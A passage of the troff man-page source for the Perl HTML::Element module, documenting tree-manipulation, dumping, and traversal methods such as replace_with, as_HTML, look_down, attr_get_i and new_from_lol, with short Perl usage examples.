.ie n .Sh "$h\->replace_with( $element_or_text, ... )"
.el .Sh "$h\->replace_with( \f(CW$element_or_text\fP, ... )"
.IX Subsection "$h->replace_with( $element_or_text, ... )"
This replaces \f(CW$h\fR in its parent's content list with the nodes
specified.  The element \f(CW$h\fR (which by then may have no parent)
is returned.  This causes a fatal error if \f(CW$h\fR has no parent.
The list of nodes to insert may contain \f(CW$h\fR, but at most once.
Aside from that possible exception, the nodes to insert should not
already be children of \f(CW$h\fR's parent.
.PP
Also, note that this method does not destroy \f(CW$h\fR \*(-- use
\&\f(CW\*(C`$h\->replace_with(...)\->delete\*(C'\fR if you need that.
.Sh "$h\->preinsert($element_or_text...)"
.IX Subsection "$h->preinsert($element_or_text...)"
Inserts the given nodes right \s-1BEFORE\s0 \f(CW$h\fR in \f(CW$h\fR's parent's
content list.  This causes a fatal error if \f(CW$h\fR has no parent.
None of the given nodes should be \f(CW$h\fR or other children of \f(CW$h\fR.
Returns \f(CW$h\fR.
.Sh "$h\->postinsert($element_or_text...)"
.IX Subsection "$h->postinsert($element_or_text...)"
Inserts the given nodes right \s-1AFTER\s0 \f(CW$h\fR in \f(CW$h\fR's parent's content
list.  This causes a fatal error if \f(CW$h\fR has no parent.  None of
the given nodes should be \f(CW$h\fR or other children of \f(CW$h\fR.  Returns
\&\f(CW$h\fR.
.Sh "$h\->\fIreplace_with_content()\fP"
.IX Subsection "$h->replace_with_content()"
This replaces \f(CW$h\fR in its parent's content list with its own content.
The element \f(CW$h\fR (which by then has no parent or content of its own) is
returned.  This causes a fatal error if \f(CW$h\fR has no parent.  Also, note
that this does not destroy \f(CW$h\fR \*(-- use
\&\f(CW\*(C`$h\->replace_with_content\->delete\*(C'\fR if you need that.
.Sh "$h\->\fIdelete_content()\fP"
.IX Subsection "$h->delete_content()"
Clears the content of \f(CW$h\fR, calling \f(CW\*(C`$h\->delete\*(C'\fR for each content
element.  Compare with \f(CW\*(C`$h\->detach_content\*(C'\fR.
.PP
Returns \f(CW$h\fR.
.Sh "$h\->\fIdelete()\fP"
.IX Subsection "$h->delete()"
Detaches this element from its parent (if it has one) and explicitly
destroys the element and all its descendants.  The return value is
undef.
.PP
Perl uses garbage collection based on reference counting; when no
references to a data structure exist, it's implicitly destroyed \*(--
i.e., when no value anywhere points to a given object anymore, Perl
knows it can free up the memory that the now-unused object occupies.
.PP
But this fails with HTML::Element trees, because a parent element
always holds references to its children, and its children elements
hold references to the parent, so no element ever looks like it's
\&\fInot\fR in use.  So, to destroy those elements, you need to call
\&\f(CW\*(C`$h\->delete\*(C'\fR on the parent.
.Sh "$h\->\fIclone()\fP"
.IX Subsection "$h->clone()"
Returns a copy of the element (whose children are clones (recursively)
of the original's children, if any).
.PP
The returned element is parentless.  Any '_pos' attributes present in the
source element/tree will be absent in the copy.  For that and other reasons,
the clone of an HTML::TreeBuilder object that's in mid-parse (i.e, the head
of a tree that HTML::TreeBuilder is elaborating) cannot (currently) be used
to continue the parse.
.PP
You are free to clone HTML::TreeBuilder trees, just as long as:
1) they're done being parsed, or 2) you don't expect to resume parsing
into the clone.  (You can continue parsing into the original; it is
never affected.)
.Sh "HTML::Element\->clone_list(...nodes...)"
.IX Subsection "HTML::Element->clone_list(...nodes...)"
Returns a list consisting of a copy of each node given.
Text segments are simply copied; elements are cloned by
calling \f(CW$it\fR\->clone on each of them.
.PP
Note that this must be called as a class method, not as an instance
method.  \f(CW\*(C`clone_list\*(C'\fR will croak if called as an instance method.
You can also call it like so:
.PP
.Vb 1
\&    ref($h)->clone_list(...nodes...)
.Ve
.Sh "$h\->normalize_content"
.IX Subsection "$h->normalize_content"
Normalizes the content of \f(CW$h\fR \*(-- i.e., concatenates any adjacent
text nodes.  (Any undefined text segments are turned into empty\-strings.)
Note that this does not recurse into \f(CW$h\fR's descendants.
.Sh "$h\->\fIdelete_ignorable_whitespace()\fP"
.IX Subsection "$h->delete_ignorable_whitespace()"
This traverses under \f(CW$h\fR and deletes any text segments that are ignorable
whitespace.  You should not use this if \f(CW$h\fR under a 'pre' element.
.ie n .Sh "$h\->insert_element($element, $implicit)"
.el .Sh "$h\->insert_element($element, \f(CW$implicit\fP)"
.IX Subsection "$h->insert_element($element, $implicit)"
Inserts (via push_content) a new element under the element at
\&\f(CW\*(C`$h\->pos()\*(C'\fR.  Then updates \f(CW\*(C`$h\->pos()\*(C'\fR to point to the inserted
element, unless \f(CW$element\fR is a prototypically empty element like
\&\*(L"br\*(R", \*(L"hr\*(R", \*(L"img\*(R", etc.  The new \f(CW\*(C`$h\->pos()\*(C'\fR is returned.  This
method is useful only if your particular tree task involves setting
\&\f(CW\*(C`$h\->pos()\*(C'\fR.
.SH "DUMPING METHODS"
.IX Header "DUMPING METHODS"
.Sh "$h\->\fIdump()\fP"
.IX Subsection "$h->dump()"
.ie n .Sh "$h\->dump(*FH)  ; # or *FH{\s-1IO\s0} or $fh_obj"
.el .Sh "$h\->dump(*FH)  ; # or *FH{\s-1IO\s0} or \f(CW$fh_obj\fP"
.IX Subsection "$h->dump(*FH)  ; # or *FH{IO} or $fh_obj"
Prints the element and all its children to \s-1STDOUT\s0 (or to a specified
filehandle), in a format useful
only for debugging.  The structure of the document is shown by
indentation (no end tags).
.ie n .Sh "$h\->\fIas_HTML()\fP or $h\->as_HTML($entities)"
.el .Sh "$h\->\fIas_HTML()\fP or \f(CW$h\fP\->as_HTML($entities)"
.IX Subsection "$h->as_HTML() or $h->as_HTML($entities)"
.ie n .Sh "or $h\fP\->as_HTML($entities, \f(CW$indent_char)"
.el .Sh "or \f(CW$h\fP\->as_HTML($entities, \f(CW$indent_char\fP)"
.IX Subsection "or $h->as_HTML($entities, $indent_char)"
.ie n .Sh "or $h\fP\->as_HTML($entities, \f(CW$indent_char, \e%optional_end_tags)"
.el .Sh "or \f(CW$h\fP\->as_HTML($entities, \f(CW$indent_char\fP, \e%optional_end_tags)"
.IX Subsection "or $h->as_HTML($entities, $indent_char, %optional_end_tags)"
Returns a string representing in \s-1HTML\s0 the element and its
descendants.  The optional argument \f(CW$entities\fR specifies a string of
the entities to encode.  For compatibility with previous versions,
specify \f(CW'<>&'\fR here.  If omitted or undef, \fIall\fR unsafe
characters are encoded as \s-1HTML\s0 entities.  See HTML::Entities for
details.  If passed an empty string, no entities are encoded.
.PP
If \f(CW$indent_char\fR is specified and defined, the \s-1HTML\s0 to be output is
intented, using the string you specify (which you probably should
set to \*(L"\et\*(R", or some number of spaces, if you specify it).
.PP
If \f(CW\*(C`\e%optional_end_tags\*(C'\fR is specified and defined, it should be
a reference to a hash that holds a true value for every tag name
whose end tag is optional.  Defaults to
\&\f(CW\*(C`\e%HTML::Element::optionalEndTag\*(C'\fR, which is an alias to 
\&\f(CW%HTML::Tagset::optionalEndTag\fR, which, at time of writing, contains
true values for \f(CW\*(C`p, li, dt, dd\*(C'\fR.  A useful value to pass is an empty
hashref, \f(CW\*(C`{}\*(C'\fR, which means that no end-tags are optional for this dump.
Otherwise, possibly consider copying \f(CW%HTML::Tagset::optionalEndTag\fR to a 
hash of your own, adding or deleting values as you like, and passing
a reference to that hash.
.Sh "$h\->\fIas_text()\fP"
.IX Subsection "$h->as_text()"
.Sh "$h\->as_text(skip_dels => 1)"
.IX Subsection "$h->as_text(skip_dels => 1)"
Returns a string consisting of only the text parts of the element's
descendants.
.PP
Text under 'script' or 'style' elements is never included in what's
returned.  If \f(CW\*(C`skip_dels\*(C'\fR is true, then text content under \*(L"del\*(R"
nodes is not included in what's returned.
.Sh "$h\->as_trimmed_text(...)"
.IX Subsection "$h->as_trimmed_text(...)"
This is just like as_text(...) except that leading and trailing
whitespace is deleted, and any internal whitespace is collapsed.
.Sh "$h\->\fIas_XML()\fP"
.IX Subsection "$h->as_XML()"
Returns a string representing in \s-1XML\s0 the element and its descendants.
.PP
The \s-1XML\s0 is not indented.
.Sh "$h\->\fIas_Lisp_form()\fP"
.IX Subsection "$h->as_Lisp_form()"
Returns a string representing the element and its descendants as a
Lisp form.  Unsafe characters are encoded as octal escapes.
.PP
The Lisp form is indented, and contains external (\*(L"href\*(R", etc.)  as
well as internal attributes (\*(L"_tag\*(R", \*(L"_content\*(R", \*(L"_implicit\*(R", etc.),
except for \*(L"_parent\*(R", which is omitted.
.PP
Current example output for a given element:
.PP
.Vb 1
\&  ("_tag" "img" "border" "0" "src" "pie.png" "usemap" "#main.map")
.Ve
.ie n .Sh "$h\->\fIstarttag()\fP or $h\->starttag($entities)"
.el .Sh "$h\->\fIstarttag()\fP or \f(CW$h\fP\->starttag($entities)"
.IX Subsection "$h->starttag() or $h->starttag($entities)"
Returns a string representing the complete start tag for the element.
I.e., leading \*(L"<\*(R", tag name, attributes, and trailing \*(L">\*(R".
All values are surrounded with
double\-quotes, and appropriate characters are encoded.  If \f(CW$entities\fR
is omitted or undef, \fIall\fR unsafe characters are encoded as \s-1HTML\s0
entities.  See HTML::Entities for details.  If you specify some
value for \f(CW$entities\fR, remember to include the double-quote character in
it.  (Previous versions of this module would basically behave as if
\&\f(CW'&">'\fR were specified for \f(CW$entities\fR.)  If \f(CW$entities\fR is
an empty string, no entity is escaped.
.Sh "$h\->\fIendtag()\fP"
.IX Subsection "$h->endtag()"
Returns a string representing the complete end tag for this element.
I.e., \*(L"</\*(R", tag name, and \*(L">\*(R".
.SH "SECONDARY STRUCTURAL METHODS"
.IX Header "SECONDARY STRUCTURAL METHODS"
These methods all involve some structural aspect of the tree;
either they report some aspect of the tree's structure, or they involve
traversal down the tree, or walking up the tree.
.ie n .Sh "$h\->is_inside('tag', ...) or $h\->is_inside($element, ...)"
.el .Sh "$h\->is_inside('tag', ...) or \f(CW$h\fP\->is_inside($element, ...)"
.IX Subsection "$h->is_inside('tag', ...) or $h->is_inside($element, ...)"
Returns true if the \f(CW$h\fR element is, or is contained anywhere inside an
element that is any of the ones listed, or whose tag name is any of
the tag names listed.
.Sh "$h\->\fIis_empty()\fP"
.IX Subsection "$h->is_empty()"
Returns true if \f(CW$h\fR has no content, i.e., has no elements or text
segments under it.  In other words, this returns true if \f(CW$h\fR is a leaf
node, \s-1AKA\s0 a terminal node.  Do not confuse this sense of \*(L"empty\*(R" with
another sense that it can have in \s-1SGML/HTML/XML\s0 terminology, which
means that the element in question is of the type (like \s-1HTML\s0's \*(L"hr\*(R",
\&\*(L"br\*(R", \*(L"img\*(R", etc.) that \fIcan't\fR have any content.
.PP
That is, a particular \*(L"p\*(R" element may happen to have no content, so
\&\f(CW$that_p_element\fR\->is_empty will be true \*(-- even though the prototypical
\&\*(L"p\*(R" element isn't \*(L"empty\*(R" (not in the way that the prototypical \*(L"hr\*(R"
element is).
.PP
If you think this might make for potentially confusing code, consider
simply using the clearer exact equivalent:  not($h\->content_list)
.Sh "$h\->\fIpindex()\fP"
.IX Subsection "$h->pindex()"
Return the index of the element in its parent's contents array, such
that \f(CW$h\fR would equal
.PP
.Vb 3
\&  $h->parent->content->[$h->pindex]
\&  or
\&  ($h->parent->content_list)[$h->pindex]
.Ve
.PP
assuming \f(CW$h\fR isn't root.  If the element \f(CW$h\fR is root, then
\&\f(CW$h\fR\->pindex returns undef.
.Sh "$h\->\fIleft()\fP"
.IX Subsection "$h->left()"
In scalar context: returns the node that's the immediate left sibling
of \f(CW$h\fR.  If \f(CW$h\fR is the leftmost (or only) child of its parent (or has no
parent), then this returns undef.
.PP
In list context: returns all the nodes that're the left siblings of \f(CW$h\fR
(starting with the leftmost).  If \f(CW$h\fR is the leftmost (or only) child
of its parent (or has no parent), then this returns empty\-list.
.PP
(See also \f(CW$h\fR\->preinsert(\s-1LIST\s0).)
.Sh "$h\->\fIright()\fP"
.IX Subsection "$h->right()"
In scalar context: returns the node that's the immediate right sibling
of \f(CW$h\fR.  If \f(CW$h\fR is the rightmost (or only) child of its parent (or has
no parent), then this returns undef.
.PP
In list context: returns all the nodes that're the right siblings of
\&\f(CW$h\fR, starting with the leftmost.  If \f(CW$h\fR is the rightmost (or only) child
of its parent (or has no parent), then this returns empty\-list.
.PP
(See also \f(CW$h\fR\->postinsert(\s-1LIST\s0).)
.Sh "$h\->\fIaddress()\fP"
.IX Subsection "$h->address()"
Returns a string representing the location of this node in the tree.
The address consists of numbers joined by a '.', starting with '0',
and followed by the pindexes of the nodes in the tree that are
ancestors of \f(CW$h\fR, starting from the top.
.PP
So if the way to get to a node starting at the root is to go to child
2 of the root, then child 10 of that, and then child 0 of that, and
then you're there \*(-- then that node's address is \*(L"0.2.10.0\*(R".
.PP
As a bit of a special case, the address of the root is simply \*(L"0\*(R".
.PP
I forsee this being used mainly for debugging, but you may
find your own uses for it.
.Sh "$h\->address($address)"
.IX Subsection "$h->address($address)"
This returns the node (whether element or text\-segment) at
the given address in the tree that \f(CW$h\fR is a part of.  (That is,
the address is resolved starting from \f(CW$h\fR\->root.)
.PP
If there is no node at the given address, this returns undef.
.PP
You can specify \*(L"relative addressing\*(R" (i.e., that indexing is supposed
to start from \f(CW$h\fR and not from \f(CW$h\fR\->root) by having the address start
with a period \*(-- e.g., \f(CW$h\fR\->address(\*(L".3.2\*(R") will look at child 3 of \f(CW$h\fR,
and child 2 of that.
.Sh "$h\->\fIdepth()\fP"
.IX Subsection "$h->depth()"
Returns a number expressing \f(CW$h\fR's depth within its tree, i.e., how many
steps away it is from the root.  If \f(CW$h\fR has no parent (i.e., is root),
its depth is 0.
.Sh "$h\->\fIroot()\fP"
.IX Subsection "$h->root()"
Returns the element that's the top of \f(CW$h\fR's tree.  If \f(CW$h\fR is
root, this just returns \f(CW$h\fR.  (If you want to test whether \f(CW$h\fR
\&\fIis\fR the root, instead of asking what its root is, just test
\&\f(CW\*(C`not($h\->parent)\*(C'\fR.)
.Sh "$h\->\fIlineage()\fP"
.IX Subsection "$h->lineage()"
Returns the list of \f(CW$h\fR's ancestors, starting with its parent,
and then that parent's parent, and so on, up to the root.  If \f(CW$h\fR
is root, this returns an empty list.
.PP
If you simply want a count of the number of elements in \f(CW$h\fR's lineage,
use \f(CW$h\fR\->depth.
.Sh "$h\->\fIlineage_tag_names()\fP"
.IX Subsection "$h->lineage_tag_names()"
Returns the list of the tag names of \f(CW$h\fR's ancestors, starting
with its parent, and that parent's parent, and so on, up to the
root.  If \f(CW$h\fR is root, this returns an empty list.
Example output: \f(CW\*(C`('em', 'td', 'tr', 'table', 'body', 'html')\*(C'\fR
.Sh "$h\->\fIdescendants()\fP"
.IX Subsection "$h->descendants()"
In list context, returns the list of all \f(CW$h\fR's descendant elements,
listed in pre-order (i.e., an element appears before its
content\-elements).  Text segments \s-1DO\s0 \s-1NOT\s0 appear in the list.
In scalar context, returns a count of all such elements.
.Sh "$h\->\fIdescendents()\fP"
.IX Subsection "$h->descendents()"
This is just an alias to the \f(CW\*(C`descendants\*(C'\fR method.
.Sh "$h\->find_by_tag_name('tag', ...)"
.IX Subsection "$h->find_by_tag_name('tag', ...)"
In list context, returns a list of elements at or under \f(CW$h\fR that have
any of the specified tag names.  In scalar context, returns the first
(in pre-order traversal of the tree) such element found, or undef if
none.
.Sh "$h\->find('tag', ...)"
.IX Subsection "$h->find('tag', ...)"
This is just an alias to \f(CW\*(C`find_by_tag_name\*(C'\fR.  (There was once
going to be a whole find_* family of methods, but then look_down
filled that niche, so there turned out not to be much reason for the
verboseness of the name \*(L"find_by_tag_name\*(R".)
.Sh "$h\->find_by_attribute('attribute', 'value')"
.IX Subsection "$h->find_by_attribute('attribute', 'value')"
In a list context, returns a list of elements at or under \f(CW$h\fR that have
the specified attribute, and have the given value for that attribute.
In a scalar context, returns the first (in pre-order traversal of the
tree) such element found, or undef if none.
.PP
This method is \fBdeprecated\fR in favor of the more expressive
\&\f(CW\*(C`look_down\*(C'\fR method, which new code should use instead.
.Sh "$h\->look_down( ...criteria... )"
.IX Subsection "$h->look_down( ...criteria... )"
This starts at \f(CW$h\fR and looks thru its element descendants (in
pre\-order), looking for elements matching the criteria you specify.
In list context, returns all elements that match all the given
criteria; in scalar context, returns the first such element (or undef,
if nothing matched).
.PP
There are three kinds of criteria you can specify:
.IP "(attr_name, attr_value)" 4
.IX Item "(attr_name, attr_value)"
This means you're looking for an element with that value for that
attribute.  Example: \f(CW"alt", "pix!"\fR.  Consider that you can search
on internal attribute values too: \f(CW"_tag", "p"\fR.
.IP "(attr_name, qr/.../)" 4
.IX Item "(attr_name, qr/.../)"
This means you're looking for an element whose value for that
attribute matches the specified Regexp object.
.IP "a coderef" 4
.IX Item "a coderef"
This means you're looking for elements where coderef\->(each_element)
returns true.  Example:
.Sp
.Vb 6
\&  my @wide_pix_images
\&    = $h->look_down(
\&                    "_tag", "img",
\&                    "alt", "pix!",
\&                    sub { $_[0]->attr('width') > 350 }
\&                   );
.Ve
.PP
Note that \f(CW\*(C`(attr_name, attr_value)\*(C'\fR and \f(CW\*(C`(attr_name, qr/.../)\*(C'\fR
criteria are almost always faster than coderef
criteria, so should presumably be put before them in your list of
criteria.  That is, in the example above, the sub ref is called only
for elements that have already passed the criteria of having a \*(L"_tag\*(R"
attribute with value \*(L"img\*(R", and an \*(L"alt\*(R" attribute with value \*(L"pix!\*(R".
If the coderef were first, it would be called on every element, and
\&\fIthen\fR what elements pass that criterion (i.e., elements for which
the coderef returned true) would be checked for their \*(L"_tag\*(R" and \*(L"alt\*(R"
attributes.
.PP
Note that comparison of string attribute-values against the string
value in \f(CW\*(C`(attr_name, attr_value)\*(C'\fR is case\-INsensitive!  A criterion
of \f(CW\*(C`('align', 'right')\*(C'\fR \fIwill\fR match an element whose \*(L"align\*(R" value
is \*(L"\s-1RIGHT\s0\*(R", or \*(L"right\*(R" or \*(L"rIGhT\*(R", etc.
.PP
Note also that \f(CW\*(C`look_down\*(C'\fR considers "" (empty\-string) and undef to
be different things, in attribute values.  So this:
.PP
.Vb 1
\&  $h->look_down("alt", "")
.Ve
.PP
will find elements \fIwith\fR an \*(L"alt\*(R" attribute, but where the value for
the \*(L"alt\*(R" attribute is "".  But this:
.PP
.Vb 1
\&  $h->look_down("alt", undef)
.Ve
.PP
is the same as:
.PP
.Vb 1
\&  $h->look_down(sub { !defined($_[0]->attr('alt')) } )
.Ve
.PP
That is, it finds elements that do not have an \*(L"alt\*(R" attribute at all
(or that do have an \*(L"alt\*(R" attribute, but with a value of undef \*(--
which is not normally possible).
.PP
Note that when you give several criteria, this is taken to mean you're
looking for elements that match \fIall\fR your criterion, not just \fIany\fR
of them.  In other words, there is an implicit \*(L"and\*(R", not an \*(L"or\*(R".  So
if you wanted to express that you wanted to find elements with a
\&\*(L"name\*(R" attribute with the value \*(L"foo\*(R" \fIor\fR with an \*(L"id\*(R" attribute
with the value \*(L"baz\*(R", you'd have to do it like:
.PP
.Vb 7
\&  @them = $h->look_down(
\&    sub {
\&      # the lcs are to fold case
\&      lc($_[0]->attr('name')) eq 'foo'
\&      or lc($_[0]->attr('id')) eq 'baz'
\&    }
\&  );
.Ve
.PP
Coderef criteria are more expressive than \f(CW\*(C`(attr_name, attr_value)\*(C'\fR
and \f(CW\*(C`(attr_name, qr/.../)\*(C'\fR
criteria, and all \f(CW\*(C`(attr_name, attr_value)\*(C'\fR
and \f(CW\*(C`(attr_name, qr/.../)\*(C'\fR
criteria could be
expressed in terms of coderefs.  However, \f(CW\*(C`(attr_name, attr_value)\*(C'\fR
and \f(CW\*(C`(attr_name, qr/.../)\*(C'\fR
criteria are a convenient shorthand.  (In fact, \f(CW\*(C`look_down\*(C'\fR itself is
basically \*(L"shorthand\*(R" too, since anything you can do with \f(CW\*(C`look_down\*(C'\fR
you could do by traversing the tree, either with the \f(CW\*(C`traverse\*(C'\fR
method or with a routine of your own.  However, \f(CW\*(C`look_down\*(C'\fR often
makes for very concise and clear code.)
.Sh "$h\->look_up( ...criteria... )"
.IX Subsection "$h->look_up( ...criteria... )"
This is identical to \f(CW$h\fR\->look_down, except that whereas \f(CW$h\fR\->look_down
basically scans over the list:
.PP
.Vb 1
\&   ($h, $h->descendants)
.Ve
.PP
$h\->look_up instead scans over the list
.PP
.Vb 1
\&   ($h, $h->lineage)
.Ve
.PP
So, for example, this returns all ancestors of \f(CW$h\fR (possibly including
\&\f(CW$h\fR itself) that are \*(L"td\*(R" elements with an \*(L"align\*(R" attribute with a
value of \*(L"right\*(R" (or \*(L"\s-1RIGHT\s0\*(R", etc.):
.PP
.Vb 1
\&   $h->look_up("_tag", "td", "align", "right");
.Ve
.Sh "$h\->traverse(...options...)"
.IX Subsection "$h->traverse(...options...)"
Lengthy discussion of HTML::Element's unnecessary and confusing
\&\f(CW\*(C`traverse\*(C'\fR method has been moved to a separate file:
HTML::Element::traverse
.Sh "$h\->attr_get_i('attribute')"
.IX Subsection "$h->attr_get_i('attribute')"
In list context, returns a list consisting of the values of the given
attribute for \f(CW$self\fR and for all its ancestors starting from \f(CW$self\fR and
working its way up.  Nodes with no such attribute are skipped.
(\*(L"attr_get_i\*(R" stands for \*(L"attribute get, with inheritance\*(R".)
In scalar context, returns the first such value, or undef if none.
.PP
Consider a document consisting of:
.PP
.Vb 10
\&   <html lang='i-klingon'>
\&     <head><title>Pati Pata</title></head>
\&     <body>
\&       <h1 lang='la'>Stuff</h1>
\&       <p lang='es-MX' align='center'>
\&         Foo bar baz <cite>Quux</cite>.
\&       </p>
\&       <p>Hooboy.</p>
\&     </body>
\&   </html>
.Ve
.PP
If \f(CW$h\fR is the \*(L"cite\*(R" element, \f(CW$h\fR\->attr_get_i(\*(L"lang\*(R") in list context
will return the list ('es\-MX', 'i\-klingon').  In scalar context, it
will return the value 'es\-MX'.
.PP
If you call with multiple attribute names...
.Sh "$h\->attr_get_i('a1', 'a2', 'a3')"
.IX Subsection "$h->attr_get_i('a1', 'a2', 'a3')"
\&...in list context, this will return a list consisting of
the values of these attributes which exist in \f(CW$self\fR and its ancestors.
In scalar context, this returns the first value (i.e., the value of
the first existing attribute from the first element that has
any of the attributes listed).  So, in the above example,
.PP
.Vb 1
\&  $h->attr_get_i('lang', 'align');
.Ve
.PP
will return:
.PP
.Vb 3
\&   ('es-MX', 'center', 'i-klingon') # in list context
\&  or
\&   'es-MX' # in scalar context.
.Ve
.PP
But note that this:
.PP
.Vb 1
\& $h->attr_get_i('align', 'lang');
.Ve
.PP
will return:
.PP
.Vb 3
\&   ('center', 'es-MX', 'i-klingon') # in list context
\&  or
\&   'center' # in scalar context.
.Ve
.Sh "$h\->\fItagname_map()\fP"
.IX Subsection "$h->tagname_map()"
Scans across \f(CW$h\fR and all its descendants, and makes a hash (a
reference to which is returned) where each entry consists of a key
that's a tag name, and a value that's a reference to a list to all
elements that have that tag name.  I.e., this method returns:
.PP
.Vb 6
\&   {
\&     # Across $h and all descendants...
\&     'a'   => [ ...list of all 'a'   elements... ],
\&     'em'  => [ ...list of all 'em'  elements... ],
\&     'img' => [ ...list of all 'img' elements... ],
\&   }
.Ve
.PP
(There are entries in the hash for only those tagnames that occur
at/under \f(CW$h\fR \*(-- so if there's no \*(L"img\*(R" elements, there'll be no
\&\*(L"img\*(R" entry in the hashr(ref) returned.)
.PP
Example usage:
.PP
.Vb 7
\&    my $map_r = $h->tagname_map();
\&    my @heading_tags = sort grep m/^h\ed$/s, keys %$map_r;
\&    if(@heading_tags) {
\&      print "Heading levels used: @heading_tags\en";
\&    } else {
\&      print "No headings.\en"
\&    }
.Ve
.ie n .Sh "$h\->\fIextract_links()\fP or $h\->extract_links(@wantedTypes)"
.el .Sh "$h\->\fIextract_links()\fP or \f(CW$h\fP\->extract_links(@wantedTypes)"
.IX Subsection "$h->extract_links() or $h->extract_links(@wantedTypes)"
Returns links found by traversing the element and all of its children
and looking for attributes (like \*(L"href\*(R" in an \*(L"a\*(R" element, or \*(L"src\*(R" in
an \*(L"img\*(R" element) whose values represent links.  The return value is a
\&\fIreference\fR to an array.  Each element of the array is reference to
an array with \fIfour\fR items: the link\-value, the element that has the
attribute with that link\-value, and the name of that attribute, and
the tagname of that element.
(Example: \f(CW\*(C`['http://www.suck.com/',\*(C'\fR \fI$elem_obj\fR \f(CW\*(C`, 'href', 'a']\*(C'\fR.)
You may or may not end up using the
element itself \*(-- for some purposes, you may use only the link value.
.PP
You might specify that you want to extract links from just some kinds
of elements (instead of the default, which is to extract links from
\&\fIall\fR the kinds of elements known to have attributes whose values
represent links).  For instance, if you want to extract links from
only \*(L"a\*(R" and \*(L"img\*(R" elements, you could code it like this:
.PP
.Vb 7
\&  for (@{  $e->extract_links('a', 'img')  }) {
\&      my($link, $element, $attr, $tag) = @$_;
\&      print
\&        "Hey, there's a $tag that links to "
\&        $link, ", in its $attr attribute, at ",
\&        $element->address(), ".\en";
\&  }
.Ve
.Sh "$h\->simplify_pres"
.IX Subsection "$h->simplify_pres"
In text bits under \s-1PRE\s0 elements that are at/under \f(CW$h\fR, this routine
nativizes all newlines, and expands all tabs.
.PP
That is, if you read a file with lines delimited by \f(CW\*(C`\ecm\ecj\*(C'\fR's, the
text under \s-1PRE\s0 areas will have \f(CW\*(C`\ecm\ecj\*(C'\fR's instead of \f(CW\*(C`\en\*(C'\fR's. Calling
\&\f(CW$h\fR\->nativize_pre_newlines on such a tree will turn \f(CW\*(C`\ecm\ecj\*(C'\fR's into
\&\f(CW\*(C`\en\*(C'\fR's.
.PP
Tabs are expanded to however many spaces it takes to get
to the next 8th column \*(-- the usual way of expanding them.
.Sh "$h\->same_as($i)"
.IX Subsection "$h->same_as($i)"
Returns true if \f(CW$h\fR and \f(CW$i\fR are both elements representing the same tree
of elements, each with the same tag name, with the same explicit
attributes (i.e., not counting attributes whose names start with \*(L"_\*(R"),
and with the same content (textual, comments, etc.).
.PP
Sameness of descendant elements is tested, recursively, with
\&\f(CW\*(C`$child1\->same_as($child_2)\*(C'\fR, and sameness of text segments is tested
with \f(CW\*(C`$segment1 eq $segment2\*(C'\fR.
.Sh "$h = HTML::Element\->new_from_lol(\s-1ARRAYREF\s0)"
.IX Subsection "$h = HTML::Element->new_from_lol(ARRAYREF)"
Resursively constructs a tree of nodes, based on the (non\-cyclic)
data structure represented by \s-1ARRAYREF\s0, where that is a reference
to an array of arrays (of arrays (of arrays (etc.))).
.PP
In each arrayref in that structure, different kinds of values are
treated as follows:
.IP "* Arrayrefs" 4
.IX Item "Arrayrefs"
Arrayrefs are considered to
designate a sub-tree representing children for the node constructed
from the current arrayref.
.IP "* Hashrefs" 4
.IX Item "Hashrefs"
Hashrefs are considered to contain
attribute-value pairs to add to the element to be constructed from
the current arrayref
.IP "* Text segments" 4
.IX Item "Text segments"
Text segments at the start of any arrayref
will be considered to specify the name of the element to be
constructed from the current araryref; all other text segments will
be considered to specify text segments as children for the current
arrayref.
.IP "* Elements" 4
.IX Item "Elements"
Existing element objects are either inserted into the treelet
constructed, or clones of them are.  That is, when the lol-tree is
being traversed and elements constructed based what's in it, if
an existing element object is found, if it has no parent, then it is
added directly to the treelet constructed; but if it has a parent,
then \f(CW\*(C`$that_node\->clone\*(C'\fR is added to the treelet at the
appropriate place.
.PP
An example will hopefully make this more obvious:
.PP
.Vb 14
\&  my $h = HTML::Element->new_from_lol(
\&    ['html',
\&      ['head',
\&        [ 'title', 'I like stuff!' ],
\&      ],
\&      ['body',
\&        {'lang', 'en-JP', _implicit => 1},
\&        'stuff',
\&        ['p', 'um, p < 4!', {'class' => 'par123'}],
\&        ['div', {foo => 'bar'}, '123'],
\&      ]
\&    ]
\&  );
\&  $h->dump;
.Ve
.PP
Will print this:
.PP
.Vb 10
\&  <html> @0
\&    <head> @0.0
\&      <title> @0.0.0
\&        "I like stuff!"
\&    <body lang="en-JP"> @0.1 (IMPLICIT)
\&      "stuff"
\&      <p class="par123"> @0.1.1
\&        "um, p < 4!"
\&      <div foo="bar"> @0.1.2
\&        "123"
.Ve
.PP
And printing \f(CW$h\fR\->as_HTML will give something like:
.PP
.Vb 3
\&  <html><head><title>I like stuff!</title></head>
\&  <body lang="en-JP">stuff<p class="par123">um, p &lt; 4!
\&  <div foo="bar">123</div></body></html>
.Ve
.PP
You can even do fancy things with \f(CW\*(C`map\*(C'\fR:
.PP
.Vb 15
\&  $body->push_content(
\&    # push_content implicitly calls new_from_lol on arrayrefs...
\&    ['br'],
\&    ['blockquote',
\&      ['h2', 'Pictures!'],
\&      map ['p', $_],
\&      $body2->look_down("_tag", "img"),
\&        # images, to be copied from that other tree.
\&    ],
\&    # and more stuff:
\&    ['ul',
\&      map ['li', ['a', {'href'=>"$_.png"}, $_ ] ],
\&      qw(Peaches Apples Pears Mangos)
\&    ],
\&  );
.Ve
.Sh "@elements = HTML::Element\->new_from_lol(\s-1ARRAYREFS\s0)"
.IX Subsection "@elements = HTML::Element->new_from_lol(ARRAYREFS)"
Constructs \fIseveral\fR elements, by calling
new_from_lol for every arrayref in the \s-1ARRAYREFS\s0 list.
.PP
.Vb 5
\&  @elements = HTML::Element->new_from_lol(
\&    ['hr'],
\&    ['p', 'And there, on the door, was a hook!'],
\&  );
\&   # constructs two elements.
.Ve
.Sh "$h\->\fIobjectify_text()\fP"
.IX Subsection "$h->objectify_text()"
This turns any text nodes under \f(CW$h\fR from mere text segments (strings)
into real objects, pseudo-elements with a tag-name of \*(L"~text\*(R", and the
actual text content in an attribute called \*(L"text\*(R".  (For a discussion
of pseudo\-elements, see the \*(L"tag\*(R" method, far above.)  This method is
provided because, for some purposes, it is convenient or necessary to
be able, for a given text node, to ask what element is its parent; and
clearly this is not possible if a node is just a text string.
.PP
Note that these \*(L"~text\*(R" objects are not recognized as text nodes by
methods like as_text.  Presumably you will want to call
\&\f(CW$h\fR\->objectify_text, perform whatever task that you needed that for,
and then call \f(CW$h\fR\->deobjectify_text before calling anything like
\&\f(CW$h\fR\->as_text.
.Sh "$h\->\fIdeobjectify_text()\fP"
.IX Subsection "$h->deobjectify_text()"
